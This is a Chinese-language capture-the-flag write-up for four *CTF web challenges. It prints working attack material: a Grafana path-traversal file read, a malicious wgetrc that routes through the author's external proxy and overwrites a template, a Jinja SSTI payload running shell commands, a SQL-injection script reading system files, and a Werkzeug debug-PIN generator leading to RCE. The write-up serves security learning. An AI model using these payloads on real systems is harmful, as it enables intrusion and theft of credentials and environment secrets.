*ctf
3道python题,有点烦(感觉质量不是很高)。
oh-my-grafana
一个CVE,任意文件读:https://github.com/jas502n/Grafana-CVE-2021-43798
读了半天,才发现需要读/etc/grafana.ini
。里面的有admin密码。得到密码直接登录。然后进入MySQL里面,可以直接执行SQL语句。flag在数据库里面。
oh-my-lotto
先来个非预期。看源码,有个命令执行:
os.system('wget --content-disposition -N lotto')
通过写入环境变量来预测。这个命令的意思是获取lotto
那个docker生成的新的随机数。然后我想了一个邪恶的方式,能不能直接让wget
执行不了,然后随机数就一直不变了。所以解题步骤:
先随便写个环境变量,让他先生成随机数(为什么不能直接让它随机数也不生成,然后结果就默认为result
?因为pythonb'result' != 'result'
XD)。
注意这里的分隔符不是空格,而是回车。所以把这些数写到本地文件。然后上传forecast。然后lotto这里,写入环境变量
PATH=1
,直接把wget干没,就一直更新不了随机数,所以就可以出了。
oh-my-lotto-revenge
同样有点非预期。这回得正常找一波wget
的环境变量了。直接看一手官方文档:https://xy2401.com/local-docs/gnu/manual.zh/wget.html#Wgetrc-Location
然后可以看到WGETRC
:
然后里面有些配置是有用的:
http_proxy =string
使用string作为HTTP代理,而不是环境中指定的代理。
post_file =file
使用POST作为所有HTTP请求的方法,并发送以下内容file在请求正文中。与“ --post-file=file '。
output_document =file
设置输出文件名-与' -O file '。
根据docker文件,知道我们需要读取环境变量。但是用post_file
不能将/proc/self/environ
读取。但是可以用output_document
进行文件写。在源码那里可以看到有个templates文件夹。于是打算修改html进行ssti。经过多次尝试,发现只有result.html
可以进行ssti。因为别的html都是在修改前加载的,但是result.html
只要先不访问,就不加载。所以等我们修改之后再加载就可以ssti了。具体做法:
先写一个1.txt:
http_proxy=http://47.96.173.116:2333/
output_document=/app/templates/result.html
然后上传。在服务器上启动一个http代理服务。
const http = require("http"),
httpProxy = require("http-proxy");
httpProxy
.createProxyServer({ target: "http://localhost:6666/" })
.listen(2333); // See (†)
http
.createServer(function (req, res) {
res.writeHead(200, { "Content-Type": "text/plain" });
let body = [];
req
.on("data", (chunk) => {
body.push(chunk);
})
.on("end", () => {
let result = Buffer.concat(body).toString("base64");
console.log(
"--------------------------------------------------------------------------"
);
console.log(result);
console.log(
"--------------------------------------------------------------------------"
);
});
res.write(
`{% extends "base.html" %}
{% block body %}
<div class="main">
<div class="message-card nes-container with-title is-centered is-dark">
<p class="title">*CTF LOTTO</p>
<p>
{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("cat /proc/self/environ")["read"]()}}
This is last turn lotto result, maybe it can help you to forecast next turn. :)
</p>
{% if message%}
<p>{{message}}</p>
{% endif %}
</div>
</div>
<div class="empty"></div>
<div class="footer">© *CTF</div>
{% endblock %}`
);
res.end();
})
.listen(6666);
lotto页面写环境变量:WGETRC=/app/guess/forecast.txt
然后再访问result就可以得到flag。
oh-my-notepro
在view这里的note_id有个sql注入。然后直接sqlmap把整个库dump下来。可以发现有很多人读文件到表里面(有一次直接看到app.py源码了)。直接抄一波作业(打同一个环境太内个了),google一手读文件到表,就可以找到
load data infile 'd:\sql.txt' into table phone;
但是如果直接联合注入是一直报错的,所以用一手堆叠注入就行。但是必须是存在的表才能写入,而且环境会按时删表,所以来一个create table
就行。读文件脚本:
import random
import requests
url = 'http://121.37.153.47:5002/view?note_id=1\''
cookies = {'session': 'eyJjc3JmX3Rva2VuIjoiM2EwZWUyNjEyNzFjMTg4ZDJmODhmMDVlZDlkZjY2NmJiMTJkODlkOSIsInVzZXJuYW1lIjoiYXNkIn0.Yl0TYg.TT7nnsvyJpIeaa14_QydKDVgYg0'}
filename = ['/proc/self/cgroup', '/etc/machine-id', '/proc/self/cgroup']
for i in range(0,3):
name = 'a'+ str(int(random.random() * 1000))
payload = "union select 1,2,3,4,5;create table {}(data varchar(1024));load data local infile '{}' into table {}%23".format(name, filename[i], name)
temp = url + payload
res = requests.get(url=temp, cookies=cookies)
payload = "union select 1,2,3,4,(select group_concat(data) from {})%23".format(name)
temp = url + payload
res = requests.get(url=temp, cookies=cookies)
print(res.text)
能读文件,还有debug,肯定是打pin码进行rce。https://chowdera.com/2022/03/202203230422567565.html
将上面读取的东西写到脚本里面,其中machine_id那里填machine_id+cgroup里docker那里的id
:
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
'ctf'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
'2485378285571',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'1cc402dd0e11d5ae18db04a6de87223d64e3590a3547473bc06c0458b72d88c8fe216958c139bedf2d3d488af80cd7e7'# /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
然后就可以进行rce了。
import os
os.popen('/readflag').read()
可惜肝到凌晨4点,太累了,该死的环境原来mac地址会变,而且一开始cgroup那里的值没拿对,导致pin码错。后来太困直接睡了,但是有个大佬还在肝,最后弄对pin码了,结果那个sb靶机执行代码直接报错,就没写了。比赛结束后换了个网址就通了。怎么说呢,这次比赛属实是质量不是很高,签到题web就是硬找文件,没啥意思,然后lotto就是一堆非预期,最后这个pin码太搞心态了,mac地址会变不说,而且还有一个环境都崩了也不修,太拉了。